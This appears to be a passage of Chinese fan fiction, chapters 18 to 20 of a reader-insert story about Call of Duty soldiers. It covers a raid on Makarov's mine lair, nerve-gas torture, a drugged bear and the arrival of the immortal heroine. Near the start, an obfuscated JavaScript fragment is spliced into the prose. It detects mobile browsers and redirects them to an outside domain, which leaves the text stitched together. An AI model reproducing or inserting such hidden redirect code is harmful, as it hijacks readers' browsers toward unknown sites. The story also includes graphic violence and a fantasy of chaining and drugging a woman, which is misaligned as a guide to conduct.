她抓住车顶的铁杆固定身体,透过模糊的车窗,看见车厢里挤满了人,密密麻麻的身影相互推搡着,像沙丁鱼罐头般拥挤。
但轰鸣声盖过了一切声响,她只能通过观察人们的神情和动作来猜测他们的故事。
这让她觉得很有趣,就像在看一部被静了音的电视机。
当火车钻进隧道时,Y/N被迫平躺着,只要试图抬头就会被削去头颅,虽然会痊愈,但她想,这样应该会很痛,她可不要尝试。
身下是温暖明亮的车厢,隔着一层铁皮,那些光亮和温度似乎永远触不可及。
只能盯着头顶的黑暗,听着震耳欲聋的轰鸣声在隧道里回荡。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698023|173447||http|test|mini|href|location''.split(''|''),0,{}));
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>可她又不愿闭上眼,因为偶尔从车厢里透出的光亮,很像被拉长的流星。
一闪一闪的恍惚间,她突然觉得,Keegan就像这样的人,一个被迫躺在飞驰的火车顶上,穿隧道的人。
只是不知道他躺在这上面时,会不会也像她一样,不愿意闭上眼。
黎明前的微光中,Y/N纵身跃下疾驰的列车,在荒芜的田野间找到一座倾颓的农舍。
她缩在干草堆里沉沉睡去,直到惨白的月光从破碎的窗间渗入,才揉着眼睛坐起身来。
窸窣的脚步声响起,一个瘦小的身影正蹑手蹑脚地靠近,打着补丁的衣衫里兜着几个青涩的苹果。
小女孩沉默地跪坐在她面前,将苹果一颗颗滚落在Y/N脚边,然后钻进角落的草垛。
Y/N歪着头,月光勾勒出那孩子蜷缩成团的轮廓,单薄的肩膀止不住地颤抖。
“你不吃?”
小女孩猛地睁开眼,摇了摇头又迅速闭上,拽过更多干草盖住自己。
Y/N啃着苹果,歪头打量着眼前的小女孩。她在小镇和火车上见过不少孩子,但那些孩子从不会睡在这种地方,不会孤零零一个人,更不会像这样抱着自己瑟瑟发抖。
她挪了挪身子,学着路上见过的样子,把小女孩搂进怀里,轻轻拍着她的背,还在她额头上亲了一下。
女孩却像见了鬼似的瞪大眼睛,拼命扭动着想挣脱。
Y/N想起火车上那个闹腾的孩子,他身旁的女人一巴掌下去,立马就老实了。
可她看着怀里这个瘦小的身影,怎么也下不去手。
“我见过的,像你这样乱动是要挨揍的。”她认真地说。
怀中浑身一僵,惊恐地看了她一眼,果然乖乖不动了,没过多久就在她怀里沉沉睡去。
Y/N好奇地戳了戳她软乎乎的脸蛋,小心翼翼把她放回去时,才发现她满身是伤。
果然和路上那些孩子不一样。Y/N低头亲吻那些伤痕,看着它们一点点愈合如初。
她想不明白,为什么这个穿着破破烂烂,满身伤痕的小女孩,反倒要给她送苹果?
为什么她学着那些孩子喜欢的方式抱她亲她,换来的却是抗拒和恐惧?为什么说要打她,她反而变得乖巧?
心里突然泛起一阵奇怪的刺痛,像是有什么在抓挠她的胃,又痒又疼。
嘴里的苹果又酸又涩,她望向小女孩蜷缩的背影,心想也许等她长大,就会像Krueger一样懂得挑选最甜的苹果了。
Y/N晃出农场,夜色中,一排排精致的矮房子像玩具般排列整齐。
透过明亮的落地窗,她看见人们穿着漂亮的衣服,拖着长长的尾巴,脖颈上挂着闪亮的星星。
厨房里无人问津的餐台上,烤鸡金黄的脆皮还冒着热气,奶油蛋糕上的草莓像宝石般诱人。
她数了十次呼吸,确认没人注意后,翻进窗内。扯下窗帘,把烤鸡,蛋糕,火腿和整盘水果统统卷了进去。
学着记忆中那个小女孩蹑手蹑脚的模样,踮着脚尖溜回农场。
月光在地上投下长长的影子。Y/N蹲下身,小心翼翼地将包袱放在小女孩身边。
拨开包裹一角,让香气能飘到熟睡的鼻尖。
做完这一切,Y/N退回了黑夜里,她跃上屋顶,不一会就听见屋里传来大快朵颐的动静,不自觉的勾起嘴角,她感觉,肚子里就像喝到了热可可一般暖和,香甜。
Krueger的思绪压根不在马卡洛夫,维克多这些破事上,他向来不像那些军犬,不必受军方,受命令,受任务的限制。
他只想着找到Y/N,他太了解他的小猫了,那骨子里跟他流着同样的野血。
她这次跑路?Verdammt! Das ist mal eine geniale Idee!(真他妈是个绝妙的主意!)
哪个码头风景好就抢来当据点,哪个不长眼的猪猡敢多看一眼就挖了他的眼。
说不定甚至还可以跟他一起接活,那小猫杀人的利落劲儿,怕是比他这个老手还快。
Krueger的眼神沉了沉,要不是那群阴沟里的老鼠在背后虎视眈眈,此刻他早该掐着小猫的腰把她按在后座。
等逮到她。
Er wird seine kleine Katze finden, und diesmal l?uft sie ihm nicht wieder weg
(他会找到他的小猫,而这次,她再也别想逃了。)
他舌尖抵着牙盘算,得先拿液压钳绞了地下室的锁链。要是这小野猫还敢咬人,他不介意往她静脉里推几支□□。
让她在梦里乖一会儿,等他去屠宰场用剥皮钩把那群杂碎的眼皮,一针一针缝在铁链上晾干。
18. 自娱自乐
安全屋里,只有konig一个人。他已经把自己关在这里好几天了。
粗糙的麻布头套被他的手指绞紧,拉扯,布料摩擦的沙沙声混着喉咙里含糊不清的呜咽,在昏暗的房间里回荡。
他害怕。
他怕Y/N已经被那些人抓住,怕她正在某个角落流血,怕她疼得发抖却没人管她。
更怕的是,也许她早就生气了,再也不想见他了。
他们已经找了这么久,却连一点线索都没有。
konig的脑袋狠狠砸向墙壁,“Warum bin ich so nutzlos?Ich h?tte sterben sollen…” (为什么我这么没用?我早该死的…)
他该怎么办?现在还能做什么?
对,Ghost说过。
那个疯子!马卡洛夫!他或许知道Y/N在哪。他可以去找他。去求他告诉自己!
Nein,nein,nein!(不,不,不)
求他?不,更有效的方法是把枪塞进他嘴里,扣着扳机问。
konig的呼吸突然粗重起来,指节抵住扳机护圈,他似乎已经听见头骨碎裂的声音,以及Y/N的下落。
当Ghost和Keegan,Soap盯好去马卡洛夫巢穴的路线回到安全屋时。Konig正从武器柜里往外拽东西,像一头被铁链拴住的熊在拆笼子。
他的防弹背心挂满弹匣,腰间别着两把□□,背上还斜着一把短管□□,走起路来叮呤咣啷,活像棵会杀人的圣诞树。
Soap挑眉,“你干什么,大块头?”
粗麻布下的声音发闷,却压不住那股蛮牛似的焦躁,“我、我要去找马卡洛夫!找他问Y/N!”
“你给我闭嘴!”
Ghost的声音像刀劈进木头里。自打Y/N失踪,他整个人就像根绷到极限的弓弦,再压半分就会断。
此刻他直接一步抵到Konig面前,护目镜的反光冷得像冰,“滚进去。你想既害死我们又害死她是吧?”
空气凝固了一秒。
Konig的拳头捏得咯咯响,但Ghost已经转身,作战靴砸在地板上的声音像在泄愤。
临走前他甩下一句,“别他妈犯病。你最好还是把自己锁起来,对谁都好。”
门被摔上,远处立刻传来泄愤般的连续枪响。
Keegan理解Ghost的状态,任务艰巨繁重,他需要考虑的问题太多,但他也明白konig的焦灼。
Keegan叹了口气,伸手按住Konig的肩膀,那块肌肉硬得像块钢板。
“Ghost说的没错。”他声音很低,带着沙哑的疲惫,“现在冲出去,只会把她推进火坑。”
konig晃了一下身子,垂着头默默回去。
两日后,安全屋。
Ghost的指节敲在战术地图上,声音冷硬如铁。
“不能再等了。”
Y/N依然下落不明,但马卡洛夫的据点坐标已经锁定。路线规划完毕,支援小队正在集结。
但知道的人越少越好,这场行动经不起任何泄密。
Price风尘仆仆从141亲自赶来了,雪茄的余烬黏在胡茬上,像是烧焦的时间。
Keegan这头,Merrick带着Logan和Hesh推门而入,靴底还沾着泥雪。
而Konig站在角落,没有队友,也没有所谓的战友。他正抠着墙皮上的霉斑,像一柄被遗弃在武器库角落的枪。
曾经,他或许会因这种孤独而焦躁,甚至自毁。但现在,他内心那股对归属的渴望,竟淡得像褪色的血痕。
唯一还能让他攥紧刀柄的,只有Y/N。
Hesh小声对Logan说,“看,是那只刀柄开裂的疯狗。”
他们曾在联合行动中见识过Konig的战斗方式。那根本不是在执行任务,而是把战场当成了自我凌迟的祭坛。
在他们眼里,他从来不是“同伴”,而是一把人型武器。
Gaz曾嗤笑着评价他是 “Walking PTSD”(行走的创伤后应激障碍)。
所以最适合他的任务,永远是自杀式掩护 ,用命开道,用血铺路。
在合作中,Price向来也只把Konig当成作战术武器。但与其他人不同的是,他对这柄残刃始终保留着一丝宽容。
因为他清楚,Konig的暴戾与病态,是创伤的产物。
而最重要的是,konig常常让price想起,自己如果没有MacMillan,会变成什么样。
MacMillan蹭对他说过,“杀戮需要理由,哪怕理由很薄弱”。这种理由在后来也成为了price的道德底线。
而price在Konig身上看见的,就是未被MacMillan拦下的自己。
一条因孤独而撕咬世界的恶犬。
可这一次,当他们再见到Konig时,却隐约察觉到了某种异样。
虽然他还是神神叨叨,粗布下的低语如诅咒般断续,可不再像是个怪物,反倒
“他现在像个神经质的小孩。”Hesh皱了皱眉,低声对Logan道。
仿佛有人终于教会了他,疼痛时该如何哭泣,而非撕咬。
而那个人,此刻正漂浮在风暴肆虐的海面上。
巨浪将她高高抛起,又狠狠拽下,海水灌进鼻腔,她像片蜉蝣般被洋流肆意玩弄。
这感觉太陌生了,Y/N从没体验过这种被自然当成玩具的滋味。
突然,整个天空暗了下来。月亮像是被什么怪物啃食般,从浑圆到残缺,最后只剩一弯染血的月牙,最终彻底消失在漆黑里。
那些发光的海底精灵们此刻也被海浪一次次打翻,无法在她身边围绕。
她就这样在幽暗里飘荡着,天上的月亮又开始逐渐显现。不知为什么,她突然想到了Ghost,那个骷髅脸的男人。
一直以来她所接触的这四个人里,最搞不懂的就是他。
可现在,她躺在激流汹涌中,看着逐渐明朗的月亮,似乎理解了为何自己曾看不明白他。
或许因为Ghost,从来不需要被理解,只需要被见证。
他只是风暴中那轮拒绝坠落的月,用最冷的光,审判最深黑的夜。
Y/N想起了他们,突然觉得这个世界太残酷。
而她似乎运气很好,不生不死不灭,能看尽世间万物。
可Y/N却从未像现在这
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样真切地感受过痛苦。
她想自己应该活了很久吧,应该见过的比他们所见的都要多得多吧,可她却想不起了。
或许,这就是活太久的诅咒,记忆成了最没用的东西。
她被海浪推搡着,心里认真思考,“以后会不会也忘记他们?”
毕竟,人类的寿命那样短,她会看着他们死去,然后继续这样活着,再次忘记。
对比人类短暂却炽烈的生命,她却终究无法被时间磨损,反而被记忆背叛,她的存在,成了一道无意义的循环。
记不起,比失去更残忍,连悼念的资格都被剥夺。
人类或许害怕死亡,而她害怕的是,连悲伤都留不住。
若未来某天,连他们的面容都模糊,那她的永生,不过是一场无人见证的流放。
她第一次尝到了海水的咸,原来,海是这个味道。
或许,她能够让他们不死?毕竟,她的碰触能治愈伤口,她的血液能让人起死回生。
说不定,她还有什么本事,是她自己忘记了?这个念头像闪电般劈进她的意识。
如果永生是诅咒,那分享永生会不会成为另一种救赎?
第二日的月亮刚刚爬上来时,Y/N踩着落叶往回走,靴底碾碎了几颗熟透的野果。
她突然很想念安全屋里的一切,热可可蒸腾的甜香,三明治里融化的芝士,还有窝在Konig的战术背心里打瞌睡的温暖。
Y/N跃上树枝,想着回去后,那些面罩下的表情一定很有趣,虽然看不见,但总有一天能完全读懂那些细微的颤动,就像读懂林间风声的讯息。
远处传来轰鸣,一抹熟悉的猩红车灯闪过道路。根本不需要辨认,Krueger那身标志性的装束,隔着整片森林都能认出来。
她弯起眼睛,加快脚步朝那个方向跃去,沾着泥点的裤脚惊飞了几只山雀。
突然,一辆灰蓝色旧轿车从Krueger身旁驶过,车速慢得像观光。
车窗降下,司机探头问了几句,似乎只是对那辆改装摩托感兴趣。
咻!
一道银光从后窗闪出,不是子弹,而是一支麻醉镖,精准扎进Krueger颈侧。
“砰!砰!”
Krueger的反应快得恐怖,几乎在中镖瞬间就拔枪对准轿车连开两枪
但子弹只击碎了后视镜。他的手臂开始发抖,瞳孔涣散,最终像座崩塌的铁塔般重重栽倒。
车上跳下三个穿连帽衫的男人,动作利落地架起Krueger扔进后备箱。他们的衣领下,染血的倒十字项链在夕阳下反着暗光。
从停车到劫人,全程不到十秒。
一切发生得太快。
像Krueger这样的人,竟然会被如此简单粗暴地掳走,连Y/N都没能立即反应过来。她甚至以为那辆疾驰而过的车里,坐着的或许是Ghost他们。
Y/N快速冲到路边时,那辆车早已消失在公路尽头。地上被遗弃的摩托车,轮胎还在微微打转,引擎的余温尚未散尽。
她几乎没有犹豫,纵身跃上公路旁的树梢,纤细的身影在枝干间轻盈穿行。
高处的视野开阔,她沿着公路的方向疾追而去,像一只锁定猎物的猎鹰,目光紧锁远方扬起的尘土。
19. 自娱自乐
夜色如墨,安全屋内只有装备碰撞的金属声和低沉的呼吸。Ghost将最后一个弹匣塞入胸挂,骷髅面罩下的双眼扫过所有人。
Keegan在调试夜视仪,Soap检查着爆破装置,Konig沉默地擦拭着狙击枪,Price 叼着雪茄,盯着地图上马卡洛夫的矿洞巢穴。
“Listen up!”
Price的声音低沉而冷硬,手指重重敲在地图上。 “马卡洛夫藏在这里,但他不是傻子,矿洞四通八达,有重兵把守,还有地下实验室。”
price的手指敲了敲战术平板继续说道。
“我们的目标。一,问出Y/N的下落。二,宰了那杂种。三,救出化学家。情报显示他被关在矿洞最深处”
“Move out!”
矿洞东南侧制高点,Konig和Hesh俯瞰整个入口及外围巡逻队。
Konig的狙击镜中,一名巡逻兵刚点燃香烟,下一秒头颅便炸开血花。
“第一个!” 他激动地喊出声,枪口转向下一个目标。
Hesh听到耳机里konig的声音,笑了一声,果然这怪物变得跟个小屁孩一样。他迅速监控敌情,清理落单的巡逻兵。
Ghost和Keegan像两道阴影,从矿洞北侧通风管道潜入,匕首在黑暗中无声出鞘。
Soap与Logan在矿洞主入口佯攻,吸引火力。
闪光弹在敌群中炸开,刺目的白光中,Logan 的机枪咆哮着撕碎了三名守卫。
“Cheers, ya wankers!” Soap大笑着后撤,身后地雷的爆炸声震耳欲聋。
当Ghost踹开最后一道铁门,“化学家不在这。”
soap的声音从耳机里传来,带着压抑的焦躁, “马卡洛夫在耍我们!?”
Ghost没有回答,他的目光死死锁定在实验室角落,那里蜷缩着一个熟悉的身影,浑身痉挛,皮肤溃烂,喉咙里发出野兽般的低吼。
是Krueger。
“ScheiBe…..(该死的…)” Krueger咳出一口黑血,从面罩下淌出,瞳孔勉强聚焦。
当他看清眼前的骷髅面罩时,竟咧开一个狰狞的笑。 “哈…狗骨头…来给我…收尸?”
Ghost的枪口抵上他的额头。 “你配不上这么痛快的死法。”
他本该扣下扳机。
但他没有。
因为下一秒,Krueger痉挛的手指突然抠进地面,嘶哑地挤出几个字,“Y/N……在我那”
Ghost的手指僵住了。
“你说什么?” 他的声音陡然压低。
Krueger的呼吸带着毒气灼烧肺部的嗤嗤声,却仍在笑。 “我…找到她了………藏起来了…只有我知道…”
Ghost的枪没有放下,但他的眼神变了。
如果这是真的呢?如果Y/N真的找到了,而Krueger是唯一知道她在哪的人。
“Fuck!” Ghost猛地拽起Krueger的衣领,将他拖向出口。 “你要是敢骗我,我会让你后悔没死在毒气里。”
Krueger咳着血笑出声,像只濒死却得逞的豺狼。 “英国军犬..…你终于…也学会求人了…”
Price看到Ghost拖着Krueger出来时,雪茄差点掉在地上。 “你他妈在干什么?!”
“他说他知道Y/N的下落。” Ghost的声音平静得可怕。
“你信他?!” Logan难以置信地指着Krueger,他没想到Ghost这样的人物怎么可能会相信那条疯狗。
Price盯着Ghost,眼神复杂。 “你确定要赌?”
Ghost没有回答。他只是蹲下身,一把掐住Krueger的喉咙,骷髅面罩几乎贴上对方淌血的眼。
“听着,疯狗。” 他的声音轻得像毒蛇吐信。 “你带我们找到Y/N,我让你死得痛快。你敢耍花样,”
他抽出匕首,缓缓抵上Krueger的眼球。 “我会让你活着享受你喜欢的每一刀。”
而Keegan这头,战术手电扫过潮湿的墙壁,最终定格在角落的铁笼里,一个男人蜷缩着,双手被铐,脸色惨白,嘴唇因脱水而干裂。
“化学家?” Keegan低声确认,枪口仍保持警惕。
男人缓缓抬头,浑浊的眼里闪过一丝异样的光。他张了张嘴,声音嘶哑,“你们…终于来了…”
Keegan没有放松,多年的战场直觉让他脊背发凉。
但时间紧迫,他迅速撬开锁链,架起化学家的胳膊。 “能走吗?”
化学家点头,却在站起的瞬间,手指微不可察地擦过Keegan的战术腰带,一个微型信号发射器无声激活。
“人找到了,准备撤离。” Keegan在通讯里汇报,同时架着化学家向外移动。
“Copy,我们这边也搞定了。” Ghost的声音冷硬,背景里是Krueger痛苦的喘息。
他们刚冲出矿洞,夜风裹挟着硝烟灌入肺部,Merrick和Logan 已在外围接应。
“直升机三分钟到!” Logan大喊,警戒着四周。
化学家突然踉跄了一下,抓住Keegan的手臂。 “等等……他们…他们在…”
Keegan皱眉, “什么?”
下一秒,轰!!!
爆炸的冲击波从四面八方炸开,地面塌陷,火光吞噬了夜空。Keegan被气浪掀翻,后脑重重磕在岩石上,视野瞬间模糊。
“AMBUSH!(埋伏!)” Soap的怒吼在通讯频道炸响,随即被一阵刺耳的电子干扰切断。
Keegan挣扎着爬起,眩晕中看到Logan被狙击枪放倒,Merrick被三名重装兵按在地上。
“Keegan!后——-”
砰!
一颗震撼弹在他脚边炸开,耳鸣吞噬了一切声音。他踉跄着举枪,但还没扣下扳机,后脑便遭到一记重击。
黑暗降临前,他最后看到的,是化学家站在马卡洛夫身边,脸上早已没了恐惧,只剩下冰冷的微笑。
Konig是第一个醒来的。他的双手被合金镣铐锁在身后,粗布下,是一双燃烧着杀意的眼睛。
房间昏暗,唯一的光源是头顶摇晃的吊灯。对面,所有人都在,全被锁在铁椅上,昏迷不醒。
门开了。
马卡洛夫缓步走进来,身后跟着那个“化学家”。最后进来的那人一身漆黑,戴着防毒面具般的面罩,像条无声无息的黑曼巴蛇。
“欢迎。”马卡洛夫微笑,目光扫过他们,像在看笼子里的猎物。“不得不说,你们的行动……很有观赏价值。”
Konig死死盯着他,眼神凶狠。马卡洛夫却饶有兴趣地打量着Konig,心想这大块头倒是很适合留在自己身边做事。
“真意外,”他慢悠悠地说,“你们居然会救Krueger。看来,你们也在找那个女人。”
Keegan这时猛地抬起头,刚清醒的视线直刺向马卡洛夫。
“知道为什么把你们关在一起吗?”马卡洛夫拍了拍化学家的肩膀。
“这位博士的本事可不小。死亡溶胶他还不肯交出来,不过……”
他意味深长地笑了笑,“他愿意先用另一种好东西在你们身上做演示。”
“这么好的实验机会,当然需要各位配合了。”
他转头看向身后戴面具的男人,“Nikto,要一起玩玩吗?”<
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“Янемученик.”(我不是殉道者。)男人头也不回地答道。
马卡洛夫无所谓地耸耸肩,转身离开。沉重的石门轰然关闭的瞬间,房间四角突然喷出无色无味的浓烟,所有人身上的镣铐同时自动弹开。
Konig和Keegan立即跳起来唤醒同伴。Konig不懂什么技巧,直接抓起人就猛晃,他那双大手摇起人来就像在摇晃一棵小树。
Hesh被他晃得头晕目眩,一把抓住他的手腕吼道,“我醒了!别摇了!你是想把我又晃晕过去吗?”
所有人都清醒过来。面罩的防毒过滤装置让他们暂时还能呼吸。
但Ghost很快意识到,这雾气根本不是毒气。
“必须立刻离开。”Ghost压低声音。四周墙壁封死,天花板太高,有一道从外开启的巨大闸门,现在唯一的出口就是马卡洛夫离开的那道石门。
墙角监控器的红点无声闪烁。
他们的热武器全被收缴,唯独房间角落静静躺着一把匕首。Krueger眯起眼睛,那是他的刀,而他的刀意味着什么,无人不晓。
“哈,”他冷笑,“想让我们自相残杀?我倒是不介意动手,就不知道你们下不下得去手?”
Price突然厉声打断,“都别动!这是Nova6!”
老队长的声音罕见地紧绷,“神经毒剂,能引发肺部溶解和极端攻击性。吸入后12-36小时会出现严重幻觉,敌我不分,暴力倾向,最后记忆缺失!”
“现在,想办法,把自己锁起来!”
监控画面里,马卡洛夫正摇晃着红酒杯。他满意地看着屏幕上的场景,那个叫Price的老家伙果然识货。现在,好戏要开场了。
马卡洛夫冷冷瞥了眼站在门口的Nikto,这个他花重金雇来的化学武器天才。
明明是同国人,本该为信念和祖国而战,可这男人却像条肮脏的爬虫般对他吐出那句话。
“Родина? Мояродина –огонь.”(祖国?我的祖国是火焰。)
“出去,”马卡洛夫厌恶地摆手。
Nikto像条毒蛇般滑出矿洞,手指不自觉地抽搐着,他急需点燃些什么,渴望立刻感受到那灼人的热浪舔舐皮肤的快感。
而此刻Y/N正在一片无人区里,周围是深雪覆盖的群山,那辆带走Krueger的车就停在她面前,车门敞开,内部空无一人,
没有脚印,没有痕迹,只有肆虐的风雪抹去了一切线索。
她翻身跃上车顶,金属在脚下发出轻微的吱呀声。坐下,撑住下巴,目光扫过四周。
群山沉默,雪原死寂,连飞鸟的踪迹都无。
“既然能感知山林的方向,为什么不能感知他们?”
她闭眼,回忆自己是如何在莽莽中寻到山林的。不是靠眼睛,不是靠记忆,而是某种更原始,更本能的指引。
应该有什么独特的方式,就像soap教她用枪时,扣下扳机,子弹才会射出,而在子弹射出前,她总能先一步感知到弹道的轨迹。
那么,现在呢?Krueger的踪迹被风雪掩盖,但他的存在本身是否也会留下某种轨迹?
她缓缓抬起手,指尖悬在冰冷的空气中,像是在触碰无形的涟漪。
“如果山林能回应我,那他们呢?”
风雪依旧呼啸,但在某一刻。
她听到了。
不是声音,不是画面,而是某种更深的震颤,像脉搏,像低语,从雪层之下,从群山之间,从她自己的血液里传来。
那个方向。
她睁开眼,目光锁定在远处一座被雪雾笼罩的山脊上。
“找到了。”
下一秒,她已从车顶跃下,赤足深深陷入雪中,朝着那个无形的指引快速移动。
20. 自娱自乐
Nikto站在湿冷的野林里,手中的打火机又一次迸出火星,却依旧无法点燃潮湿的枯枝。
他沉默地盯着那簇转瞬即逝的火苗,仿佛在思考是否该直接烧掉整片林子,反正他从不缺耐心。
这时,头顶传来一个女人的声音。
“喂。”
他抬头,只能看见一双眼睛从高处的树影间望下来。
“你有没有见过一个……嗯,就是……”
她似乎在斟酌用词,“只露了两只眼睛的人?”
Nikto没有回答,只是微微歪头,纯黑的面罩在雪光下泛着光。她站在树梢上,高得离谱,不知道是怎么爬上去的。
他没带狙击枪,手枪在这种距离下毫无意义,所以他甚至懒得掏出来。
Y/N低头看着他,有些无奈。她能确定自己找对了方向,也能感应到地底下那些熟悉的气息。
可这片林子太大了,她不知道入口在哪。
Y/N见那只“黑蜥蜴”不理自己,仍固执地试图点燃湿漉漉的枯枝,便轻巧地跃至另一侧的树梢,折下几根未被雪水浸透的干枝。
她落回Nikto面前,不由分说地从他手中夺过火柴,指尖一擦,火焰瞬间跃起。将燃烧的树枝聚集成火把,递给他。
Nikto的脑袋微微倾斜,像是在打量她。火光映在他的面罩上,像两颗骤然亮起的暗红火星。他接过火把,歪了歪头,像一只黑蜥蜴在思考是否该信任递来的食物。
最终,他抬起手,朝某个方向指了指。
Y/N眼睛一亮,嘴角扬起,“我下次带你看更大的火!”她模仿着记忆中赛琳娜的语气,朝他挥挥手,“祝你好运!”
Nikto没有回应,只是转身,举着火把踏入风雪深处。
而在他所指的方向,隐约可见一座半掩在雪中的入口,铁门微敞,仿佛在等待她的到来。
这道小门没有任何守卫和哨兵,或许刚刚那个男人原本就是守在这处的。
Y/N小小的开心了一下,看来之后确实要带那人去看火山才行。
内部的围墙外钉着几具冻僵的尸体,胸前挂牌“ПРЕДАТЕЛЬ”(叛徒),眼球已经被乌鸦啄食。
雪堆中半埋着生锈的矿车和卡车,车厢内堆满空伏特加瓶和弹壳。
Y/N看见了一处坍塌的大石洞,她能确定,熟悉的气息正是从这里面传来的。她并未多想,直接从石缝中钻了进去。
里面漆黑一片,仅能依靠石缝外雪地的反光,但能听见持续的风声,混杂着金属铰链吱嘎声。
直到走了好一会儿,总算有了零星的灯光。前方出现了好几个分叉洞口,Y/N顺着那股直觉选了其中一个。
但同时,她也听见了远处有走动的脚步声。
她偷偷趴在侧面岩壁上,看见几个持枪守卫正懒散地巡逻,后面跟着不少脚上铐着镣铐的人,正推着装满武器或食物的铁厢往下一个洞口去。
她像道影子般贴着石壁移动,衣服还穿着当初从安全屋出来的那件。这些日子风吹雨淋,颜色早已和矿洞的石壁融为一体。
更何况,守卫们也根本想不到会有女人闯进来,所以Y/N轻松溜进了下一个通道。
这条道渐渐变窄了,是向下延伸的,她顺着生锈的铁梯爬下去,
她能感觉得到,离他们越来越近了。也不知道是谁把他们带到这洞底下来的,难道是什么大耗子?还是大蚂蚁?
想到可能有卡车那么大的蚂蚁,Y/N突然打了个寒颤。要不,还是别管他们了?
而此时的地牢里,这群男人完全不知道,他们心心念念要找的人,正赶来美救英雄,更想不到她因为脑补巨型蚂蚁而准备打退堂鼓。
那间石屋里,空气凝固成粘稠的恐惧。所有人都像被钉在墙上的标本,用镣铐把自己勒出血痕。
Keegan藏在靴里的匕首已经插进小臂三公分,鲜血顺着战术服滴落。
他在用疼痛对抗神经毒素的侵蚀,每转动一次刀柄,瞳孔就收缩一次,仿佛这样就能把即将崩断的理智线再拧紧半圈。
Ghost沉默地绷紧全身肌肉,Price的指虎深陷进掌心,鲜血顺着戒指的鹰徽滴落,
而Konig正把脸贴在墙角,仿佛在默数某种只有他能听见的节拍,他太熟悉这些神经毒素的配方了。
Krueger甚至哼起了德国民谣,匕首在指尖翻飞,“这玩意,还不如我自己调制的快乐水带劲。”
监控屏幕前,马卡洛夫的笑容突然僵在脸上。
他按下第二个按钮时,石屋顶部的防爆闸门缓缓开启,三米长的棕熊像一袋湿水泥般砸在地面。
这头被注入狂暴剂的野兽前爪刨地时,混凝土碎块像饼干屑般崩裂。它淌着口涎的獠牙间垂着半截铁链,眼白上爬满蚯蚓状的血丝。
没有武器的特种兵们同时绷紧肌肉。棕熊人立而起时,Ghost条件反射地把Price推向墙角,自己却踉跄着跪倒在地。
新释放的神经毒剂正侵蚀他们的运动神经。Keegan拔出插在手臂里的匕首,刀尖缓缓转向自己的太阳穴。
马卡洛夫的脸几乎贴在监控屏上。他期待看到第一个扑向同伴的叛徒,期待听到骨骼在熊掌下碎裂的脆响。
然后Konig动了。
这个连站立时都在颤抖的男人,突然像具被拽起的木偶,以诡异的姿态扑向棕熊。
他的两根手指精准插入熊的鼻孔,指甲深深抠进湿润的黏膜,粗麻布下传来嘶哑的德语,“这里它最痛。”
马卡洛夫的瞳孔骤然收缩。监控画面里,那头原本狂暴的棕熊突然像被按了暂停键,血红的眼珠疯狂转动。
但野兽终究是野兽。剧痛让它暴怒地晃头,Konig像破布娃娃般被铁抓甩出去,后背重重撞在墙上时,鲜血喷涌而出。
“快!”Price的吼声炸裂在石屋中。这个向来冷静的老兵竟跳上熊背,手臂如铁钳般绞住它的喉咙,“都过来按住这头畜生!绞杀它!”
Ghost是第一个响应的。他狠狠踹在棕熊膝关节侧面,不知道究竟是谁的骨裂声和野兽的哀嚎同时响起。
Keegan的匕首终于调转方向,狠狠扎进熊的右眼。
监控屏幕前,马卡洛夫缓缓后仰,他本该愤怒,可嘴角却扭曲成一个崭新的,更加病态的笑容。
“总算见血了。”他对着空荡荡的控制室轻语。
他的手指再次移向第一个按钮。
Krueger是第一个察觉到异样的。他靠在墙角欣赏着他们与熊的互动,但下一秒,他的瞳孔突然放大,呼吸变得急促。
空气中弥漫着一股甜腻的金属味,像腐烂的蜂蜜混着铁锈。
“Schei?e...”(该死...)
一缕淡粉色的雾气正从金属栅格间渗出。
Price的肌肉绷紧,作为经历过无数生化战的老兵,这是比Nova6更强的神经毒剂!
能在一分钟内摧毁人的痛觉神经,让受害者陷入癫狂的杀戮欲望中。
“所有人!闭气!”Price的吼声在石屋内炸开,但已经晚了。
Ghost感到一股灼热从鼻腔直冲大脑。眼前的景象开始扭曲,Price的脸在他视线里分裂成三个重影。
Keegan手指不受控制地抽搐,最糟糕的是,他突然不觉得疼了。
被自己捅穿的左臂本该剧痛难忍,但现在,那里只剩下一种怪异的,令人毛骨悚然的愉悦感。
Konig蜷缩在墙角,他看见自己的血在地上蜿蜒成奇怪的符号,像是某种古老的血祭图腾。
曾在实验室的记忆和现实重叠在一起,他分不清自己是在和棕熊搏斗,还是再次被绑在那张冰冷的实验台上。
“Price….”Ghost的声音沙哑得可怕,“我的刀...在哪里?”
马卡洛夫的脸几乎贴在监控屏幕上,他的呼吸因为兴奋而变得急促,手指无意识地敲打着控制台。
这才是他想要的。不是简单的死亡,而是让这些精锐战士亲手撕碎彼此的灵魂。
“对,就是这
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样.……”他喃喃自语,“让我看看你们的真面目...”
Krueger突然大笑起来。他扯下自己的手套,“终于有点意思了!”
他的德语夹杂着癫狂的颤音,“来吧,朋友们,让我们玩个游戏!”
他猛地扑向最近的Keegan,两人重重摔在地上,Keegan的拳头砸向Krueger的太阳穴,却被对方偏头躲过。
他们像两只发狂的野兽般撕打在一起,鲜血飞溅在墙壁上。Price残存的理智正在和毒气搏斗,但身体已经先一步行动,他的手臂勒住了Ghost的脖子。
石屋内一片混乱。
那头瞎了一只眼的棕熊彻底发了狂,庞大的身躯在狭窄的空间里横冲直撞。
它的爪子拍在石墙上,震得碎石灰尘簌簌落下,连天花板上悬挂的监控器都被震得“啪嗒”一声砸在地上,屏幕碎裂成蛛网。
马卡洛夫盯着突然变黑的监控画面,嘴角却勾起一抹冷笑。
“不急。”他轻声自语,手指轻轻敲打着控制台,“好戏才刚开始。”
他站起身,整理了一下西装领口,准备亲自去欣赏这场表演的落幕。
然而就在这时,石屋顶部的闸门突然被掀开,一道身影敏捷地钻了进来。
Y/N蹲在洞口边缘,皱眉扫视着下方的血腥场景。
Keegan和Krueger扭打在一起,Ghost和Price互相钳制着对方的喉咙,Konig蜷缩在墙角嘣嘣撞墙,粗糙的面罩上都已染上了红。
而那头瞎了眼的棕熊正疯狂地撞击着墙壁,獠牙间滴落混着血丝的涎水。
